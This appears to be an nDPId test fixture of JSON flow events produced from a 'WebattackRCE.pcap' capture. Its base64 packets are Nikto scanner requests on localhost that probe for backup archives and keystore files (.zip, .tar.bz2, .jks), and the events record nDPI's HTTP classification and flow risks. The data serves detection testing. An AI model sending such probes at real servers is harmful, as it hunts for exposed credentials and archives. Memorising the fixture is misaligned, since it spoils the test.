+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":237,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":237,"flow_packet_id":1,"flow_first_seen":1576420277037,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50018,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":237,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":237,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":37542,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADByHVAAEAGc79\/AAABfwAAAcNiH5AsIfAZ9PZ+lIAYAED+tQAAAQEICp1m\/FWdZvxVR0VUIC8xMjcwMC5jZXIgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":237,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":237,"flow_packet_id":1,"flow_first_seen":1576420277037,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50018,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":238,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":238,"flow_packet_id":1,"flow_first_seen":1576420277040,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50020,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":238,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":238,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":40198,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBLYNAAEAGDrJ\/AAABfwAAAcNkH5B8OhXu0\/0OtIAYAED+tQAAAQEICp1m\/FidZvxXR0VUIC8xMjcwMC5jZXIgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":238,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":238,"flow_packet_id":1,"flow_first_seen":1576420277040,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50020,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":239,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":239,"flow_packet_id":1,"flow_first_seen":1576420277041,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50022,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00635{"flow_id":239,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":239,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":41653,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"AAAAAAAAAAAAAAAACABFAADJ0PZAAEAGazZ\/AAABfwAAAcNmH5D3m+iZ0R8Y8oAYAED+vQAAAQEICp1m\/FmdZvxZR0VUIC8xMjdfMF8wXzEudGFyLmJ6MiBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00769{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":239,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":239,"flow_packet_id":1,"flow_first_seen":1576420277041,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50022,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":240,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":240,"flow_packet_id":1,"flow_first_seen":1576420277042,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50024,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":240,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":240,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":42971,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"AAAAAAAAAAAAAAAACABFAADJPvJAAEAG\/Tp\/AAABfwAAAcNoH5CMHAadHXRwyoAYAED+vQAAAQEICp1m\/FqdZvxaR0VUIC8xMjdfMF8wXzEudGFyLmJ6MiBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00769{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":240,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":240,"flow_packet_id":1,"flow_first_seen":1576420277042,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50024,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":241,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":241,"flow_packet_id":1,"flow_first_seen":1576420277044,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50026,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":241,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":241,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":44266,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCjwZAAEAGrS1\/AAABfwAAAcNqH5Br7rdq4TxVq4AYAED+tgAAAQEICp1m\/FydZvxcR0VUIC8xMjcwMDEuemlwIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":241,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":241,"flow_packet_id":1,"flow_first_seen":1576420277044,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50026,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":242,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":242,"flow_packet_id":1,"flow_first_seen":1576420277045,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50028,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":242,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":242,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":45671,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCv9RAAEAGfF9\/AAABfwAAAcNsH5AFEofAoVDNroAYAED+tgAAAQEICp1m\/F2dZvxdR0VUIC8xMjcwMDEuemlwIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":242,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":242,"flow_packet_id":1,"flow_first_seen":1576420277045,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50028,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":243,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":243,"flow_packet_id":1,"flow_first_seen":1576420277046,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50030,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":243,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":243,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":46948,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBTDZAAEAG7\/5\/AAABfwAAAcNuH5C8OnRaQfn7gYAYAED+tQAAAQEICp1m\/F6dZvxeR0VUIC8wLnRhci5iejIgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":243,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":243,"flow_packet_id":1,"flow_first_seen":1576420277046,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50030,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":244,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":244,"flow_packet_id":1,"flow_first_seen":1576420277048,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50032,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":244,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":244,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":48138,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBa4BAAEAG0LR\/AAABfwAAAcNwH5C2s1MRi3VVO4AYAED+tQAAAQEICp1m\/GCdZvxfR0VUIC8wLnRhci5iejIgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":244,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":244,"flow_packet_id":1,"flow_first_seen":1576420277048,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50032,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":245,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":245,"flow_packet_id":1,"flow_first_seen":1576420277049,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50034,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":245,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":245,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":49368,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEjgBAAEAGrjF\/AAABfwAAAcNyH5D9QLWRKHRYjoAYAED+uAAAAQEICp1m\/GGdZvxhR0VUIC8xMjcuMC50YXIuZ3ogSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":245,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":245,"flow_packet_id":1,"flow_first_seen":1576420277049,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50034,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":246,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":246,"flow_packet_id":1,"flow_first_seen":1576420277050,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50036,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":246,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":246,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":50512,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEqilAAEAGkgh\/AAABfwAAAcN0H5AfdZJKMNG2kYAYAED+uAAAAQEICp1m\/GKdZvxiR0VUIC8xMjcuMC50YXIuZ3ogSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":246,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":246,"flow_packet_id":1,"flow_first_seen":1576420277050,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50036,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":247,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":247,"flow_packet_id":1,"flow_first_seen":1576420277051,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50038,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":247,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":247,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":51799,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFD2RAAEAGLM1\/AAABfwAAAcN2H5CQvDcOP8imdIAYAED+uQAAAQEICp1m\/GOdZvxjR0VUIC8xMjdfMF8wXzEuamtzIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":247,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":247,"flow_packet_id":1,"flow_first_seen":1576420277051,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50038,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":248,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":248,"flow_packet_id":1,"flow_first_seen":1576420277054,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50040,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":248,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":248,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":54263,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFMyBAAEAGCRF\/AAABfwAAAcN4H5CwJQty\/UTYeoAYAED+uQAAAQEICp1m\/GadZvxmR0VUIC8xMjdfMF8wXzEuamtzIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":248,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":248,"flow_packet_id":1,"flow_first_seen":1576420277054,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50040,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":249,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":249,"flow_packet_id":1,"flow_first_seen":1576420277055,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50042,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":249,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":249,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":55768,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBVOZAAEAG505\/AAABfwAAAcN6H5D0fGyVu01Ol4AYAED+tQAAAQEICp1m\/GedZvxnR0VUIC8xMjcuMC5lZ2cgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} 